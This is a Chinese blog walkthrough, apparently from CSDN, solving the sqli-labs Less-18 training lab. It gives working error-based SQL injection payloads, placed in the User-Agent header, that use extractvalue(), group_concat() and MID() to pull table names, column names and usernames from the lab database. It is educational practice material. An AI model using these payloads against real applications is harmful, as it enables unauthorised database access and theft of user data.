[网络安全]sqli-labs Less-18 解题详析

姿势

该题为基于GET及报错的User-Agent注入,故需在参数后构造POC

报错注入的原理及攻击姿势可参考: [网络安全]sqli-labs Less-5 解题详析

该题采用抓包进行处理

判断注入类型

在这里插入图片描述
由回显可知,注入类型为('注入

故注入模板为',1,1)#


查表名

我们以第一个1为注入点,构造POC如下:

',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#

在这里插入图片描述

得到四个表名


查列名

',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#

在这里插入图片描述


查数据

介绍一下mid()函数

MID() 函数是一种字符串函数,用于提取给定字符串的子字符串。它的语法如下:

MID(str, start, length)

其中:

  • str 是要提取子字符串的源字符串。
  • start 指定了子字符串的起始位置。它是一个整数值,表示从源字符串中的哪个字符开始提取子字符串。起始位置是从 1 开始计数的。
  • length 指定了要提取的子字符串的长度。它也是一个整数值,表示从起始位置开始向后提取多少个字符。

例如,假设有一个字符串 "Hello, World!",如果想要提取其中的子字符串 "World",可以使用以下 MID() 函数调用:

MID("Hello,World!", 7, 5)

在这个例子中,str 是字符串 "Hello, World!"start 是 7,length 是 5。因此,MID() 函数将从第 7 个字符开始提取长度为 5 的子字符串,结果为 "World"

我们以username列为例,利用mid()函数构造POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#

在这里插入图片描述
这个语句是从 security.users 表中的 username 列中获取用户名,获取到的并不是全部的用户名,而是从第一个字符开始的长度为 32 的子字符串

接着,我们提取从第 32 个字符开始的长度为 32 的子字符串:

POC如下:

',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#'

在这里插入图片描述
同理,32改为64后得到:

在这里插入图片描述


总结

以上为[网络安全]sqli-labs Less-18 解题详析,考察报错注入及相关函数的使用;后续将分享 [网络安全]sqli-labs Less-19 解题详析。

我是秋说,我们下次见。

猜你喜欢

转载自blog.csdn.net/2301_77485708/article/details/131967476
今日推荐